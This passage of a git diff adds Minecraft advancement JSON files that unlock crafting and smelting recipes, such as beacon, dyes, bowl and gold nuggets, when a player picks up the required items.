00000000..c92f559f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/rabbit_stew_from_red_mushroom.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:rabbit_stew_from_red_mushroom" + ] + }, + "criteria": { + "has_cooked_rabbit": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cooked_rabbit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:rabbit_stew_from_red_mushroom" + } + } + }, + "requirements": [ + [ + "has_cooked_rabbit", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/beacon.json b/src/data/minecraft/advancements/recipes/misc/beacon.json new file mode 100644 index 00000000..854d7140 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/beacon.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:beacon" + ] + }, + "criteria": { + "has_nether_star": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_star" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:beacon" + } + } + }, + "requirements": [ + [ + "has_nether_star", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/black_dye.json b/src/data/minecraft/advancements/recipes/misc/black_dye.json new file mode 100644 index 00000000..5cc2f8e0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/black_dye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_dye" + ] + }, + "criteria": { + "has_ink_sac": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ink_sac" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_dye" + } + } + }, + "requirements": [ + [ + "has_ink_sac", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/black_dye_from_wither_rose.json b/src/data/minecraft/advancements/recipes/misc/black_dye_from_wither_rose.json new file mode 100644 index 00000000..8041274e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/black_dye_from_wither_rose.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_dye_from_wither_rose" + ] + }, + "criteria": { + "has_black_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:wither_rose" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_dye_from_wither_rose" + } + } + }, + "requirements": [ + [ + "has_black_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/blue_dye.json b/src/data/minecraft/advancements/recipes/misc/blue_dye.json new file mode 100644 index 00000000..70d9bff2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/blue_dye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_dye" + ] + }, + "criteria": { + "has_lapis_lazuli": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lapis_lazuli" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_dye" + } + } + }, + "requirements": [ + [ + "has_lapis_lazuli", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/blue_dye_from_cornflower.json b/src/data/minecraft/advancements/recipes/misc/blue_dye_from_cornflower.json new file mode 100644 index 00000000..ae3e9d87 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/blue_dye_from_cornflower.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_dye_from_cornflower" + ] + }, + "criteria": { + "has_blue_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cornflower" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_dye_from_cornflower" + } + } + }, + "requirements": [ + [ + "has_blue_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/bone_meal.json b/src/data/minecraft/advancements/recipes/misc/bone_meal.json new file mode 100644 index 00000000..57c00b0e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/bone_meal.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bone_meal" + ] + }, + "criteria": { + "has_bone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bone_meal" + } + } + }, + "requirements": [ + [ + "has_bone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/bone_meal_from_bone_block.json b/src/data/minecraft/advancements/recipes/misc/bone_meal_from_bone_block.json new file mode 100644 index 00000000..7aa2e059 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/bone_meal_from_bone_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bone_meal_from_bone_block" + ] + }, + "criteria": { + "has_bone_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bone_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bone_meal_from_bone_block" + } + } + }, + "requirements": [ + [ + "has_bone_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/book.json b/src/data/minecraft/advancements/recipes/misc/book.json new file mode 100644 index 00000000..f6d55345 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/book.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:book" + ] + }, + "criteria": { + "has_paper": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:paper" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:book" + } + } + }, + "requirements": [ + [ + "has_paper", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/bowl.json b/src/data/minecraft/advancements/recipes/misc/bowl.json new file mode 100644 index 00000000..057de0e5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/bowl.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bowl" + ] + }, + "criteria": { + "has_brown_mushroom": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_mushroom" + } + ] + } + }, + "has_red_mushroom": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_mushroom" + } + ] + } + }, + "has_mushroom_stew": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mushroom_stew" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bowl" + } + } + }, + "requirements": [ + [ + "has_brown_mushroom", + "has_red_mushroom", + "has_mushroom_stew", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/brick.json b/src/data/minecraft/advancements/recipes/misc/brick.json new file mode 100644 index 00000000..10bb54d9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/brick.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick" + ] + }, + "criteria": { + "has_clay_ball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:clay_ball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick" + } + } + }, + "requirements": [ + [ + "has_clay_ball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/brown_dye.json b/src/data/minecraft/advancements/recipes/misc/brown_dye.json new file mode 100644 index 00000000..95822391 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/brown_dye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_dye" + ] + }, + "criteria": { + "has_cocoa_beans": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cocoa_beans" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_dye" + } + } + }, + "requirements": [ + [ + "has_cocoa_beans", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/bucket.json b/src/data/minecraft/advancements/recipes/misc/bucket.json new file mode 100644 index 00000000..c0b89b2e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/bucket.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bucket" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bucket" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/charcoal.json b/src/data/minecraft/advancements/recipes/misc/charcoal.json new file mode 100644 index 00000000..29ad8fd5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/charcoal.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:charcoal" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:logs_that_burn" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:charcoal" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/coal.json b/src/data/minecraft/advancements/recipes/misc/coal.json new file mode 100644 index 00000000..44b276a0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/coal.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:coal" + ] + }, + "criteria": { + "has_coal_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:coal_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:coal" + } + } + }, + "requirements": [ + [ + "has_coal_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/coal_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/coal_from_blasting.json new file mode 100644 index 00000000..06937aef --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/coal_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:coal_from_blasting" + ] + }, + "criteria": { + "has_coal_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:coal_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:coal_from_blasting" + } + } + }, + "requirements": [ + [ + "has_coal_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/coal_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/coal_from_smelting.json new file mode 100644 index 00000000..68883531 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/coal_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:coal_from_smelting" + ] + }, + "criteria": { + "has_coal_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:coal_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:coal_from_smelting" + } + } + }, + "requirements": [ + [ + "has_coal_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/conduit.json b/src/data/minecraft/advancements/recipes/misc/conduit.json new file mode 100644 index 00000000..c4cf891d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/conduit.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:conduit" + ] + }, + "criteria": { + "has_nautilus_core": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:heart_of_the_sea" + } + ] + } + }, + "has_nautilus_shell": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nautilus_shell" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:conduit" + } + } + }, + "requirements": [ + [ + "has_nautilus_core", + "has_nautilus_shell", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/creeper_banner_pattern.json b/src/data/minecraft/advancements/recipes/misc/creeper_banner_pattern.json new file mode 100644 index 00000000..2a508f04 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/creeper_banner_pattern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:creeper_banner_pattern" + ] + }, + "criteria": { + "has_creeper_head": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:creeper_head" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:creeper_banner_pattern" + } + } + }, + "requirements": [ + [ + "has_creeper_head", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/cyan_dye.json b/src/data/minecraft/advancements/recipes/misc/cyan_dye.json new file mode 100644 index 00000000..b607f31b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/cyan_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_dye" + ] + }, + "criteria": { + "has_green_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_dye" + } + ] + } + }, + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_dye" + } + } + }, + "requirements": [ + [ + "has_green_dye", + "has_blue_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/diamond.json b/src/data/minecraft/advancements/recipes/misc/diamond.json new file mode 100644 index 00000000..72645894 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/diamond.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond" + ] + }, + "criteria": { + "has_diamond_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond" + } + } + }, + "requirements": [ + [ + "has_diamond_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/diamond_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/diamond_from_blasting.json new file mode 100644 index 00000000..8463eab0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/diamond_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_from_blasting" + ] + }, + "criteria": { + "has_diamond_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_from_blasting" + } + } + }, + "requirements": [ + [ + "has_diamond_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/diamond_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/diamond_from_smelting.json new file mode 100644 index 00000000..0e1aeaed --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/diamond_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_from_smelting" + ] + }, + "criteria": { + "has_diamond_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_from_smelting" + } + } + }, + "requirements": [ + [ + "has_diamond_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/emerald.json b/src/data/minecraft/advancements/recipes/misc/emerald.json new file mode 100644 index 00000000..fc929808 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/emerald.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:emerald" + ] + }, + "criteria": { + "has_emerald_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:emerald_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:emerald" + } + } + }, + "requirements": [ + [ + "has_emerald_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/emerald_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/emerald_from_blasting.json new file mode 100644 index 00000000..66ba8734 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/emerald_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:emerald_from_blasting" + ] + }, + "criteria": { + "has_emerald_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:emerald_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:emerald_from_blasting" + } + } + }, + "requirements": [ + [ + "has_emerald_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/emerald_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/emerald_from_smelting.json new file mode 100644 index 00000000..d0856e03 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/emerald_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:emerald_from_smelting" + ] + }, + "criteria": { + "has_emerald_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:emerald_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:emerald_from_smelting" + } + } + }, + "requirements": [ + [ + "has_emerald_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/ender_eye.json b/src/data/minecraft/advancements/recipes/misc/ender_eye.json new file mode 100644 index 00000000..cbe86474 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/ender_eye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:ender_eye" + ] + }, + "criteria": { + "has_blaze_powder": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blaze_powder" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:ender_eye" + } + } + }, + "requirements": [ + [ + "has_blaze_powder", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/fire_charge.json b/src/data/minecraft/advancements/recipes/misc/fire_charge.json new file mode 100644 index 00000000..7e16aa66 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/fire_charge.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:fire_charge" + ] + }, + "criteria": { + "has_blaze_powder": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blaze_powder" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:fire_charge" + } + } + }, + "requirements": [ + [ + "has_blaze_powder", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/flower_banner_pattern.json b/src/data/minecraft/advancements/recipes/misc/flower_banner_pattern.json new file mode 100644 index 00000000..bbff8fc8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/flower_banner_pattern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:flower_banner_pattern" + ] + }, + "criteria": { + "has_oxeye_daisy": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oxeye_daisy" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:flower_banner_pattern" + } + } + }, + "requirements": [ + [ + "has_oxeye_daisy", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_ingot.json b/src/data/minecraft/advancements/recipes/misc/gold_ingot.json new file mode 100644 index 00000000..6379bea5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_ingot.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_ingot" + ] + }, + "criteria": { + "has_gold_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:gold_ores" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_ingot" + } + } + }, + "requirements": [ + [ + "has_gold_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_blasting.json new file mode 100644 index 00000000..193660c9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_ingot_from_blasting" + ] + }, + "criteria": { + "has_gold_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:gold_ores" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_ingot_from_blasting" + } + } + }, + "requirements": [ + [ + "has_gold_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_gold_block.json b/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_gold_block.json new file mode 100644 index 00000000..a3cdc398 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_gold_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_ingot_from_gold_block" + ] + }, + "criteria": { + "has_gold_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_ingot_from_gold_block" + } + } + }, + "requirements": [ + [ + "has_gold_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_nuggets.json b/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_nuggets.json new file mode 100644 index 00000000..1bc92e3f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_ingot_from_nuggets.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_ingot_from_nuggets" + ] + }, + "criteria": { + "has_gold_nugget": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_nugget" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_ingot_from_nuggets" + } + } + }, + "requirements": [ + [ + "has_gold_nugget", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_nugget.json b/src/data/minecraft/advancements/recipes/misc/gold_nugget.json new file mode 100644 index 00000000..66e3e563 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_nugget.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_nugget" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_nugget" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_nugget_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/gold_nugget_from_blasting.json new file mode 100644 index 00000000..56a2da00 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_nugget_from_blasting.json @@ -0,0 +1,131 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_nugget_from_blasting" + ] + }, + "criteria": { + "has_golden_pickaxe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_pickaxe" + } + ] + } + }, + "has_golden_shovel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_shovel" + } + ] + } + }, + "has_golden_axe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_axe" + } + ] + } + }, + "has_golden_hoe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_hoe" + } + ] + } + }, + "has_golden_sword": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_sword" + } + ] + } + }, + "has_golden_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_helmet" + } + ] + } + }, + "has_golden_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_chestplate" + } + ] + } + }, + "has_golden_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_leggings" + } + ] + } + }, + "has_golden_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_boots" + } + ] + } + }, + "has_golden_horse_armor": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_horse_armor" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_nugget_from_blasting" + } + } + }, + "requirements": [ + [ + "has_golden_pickaxe", + "has_golden_shovel", + "has_golden_axe", + "has_golden_hoe", + "has_golden_sword", + "has_golden_helmet", + "has_golden_chestplate", + "has_golden_leggings", + "has_golden_boots", + "has_golden_horse_armor", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gold_nugget_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/gold_nugget_from_smelting.json new file mode 100644 index 00000000..379f1458 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gold_nugget_from_smelting.json @@ -0,0 +1,131 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_nugget_from_smelting" + ] + }, + "criteria": { + "has_golden_pickaxe": { + "trigger": "minecraft:inventory_changed", + 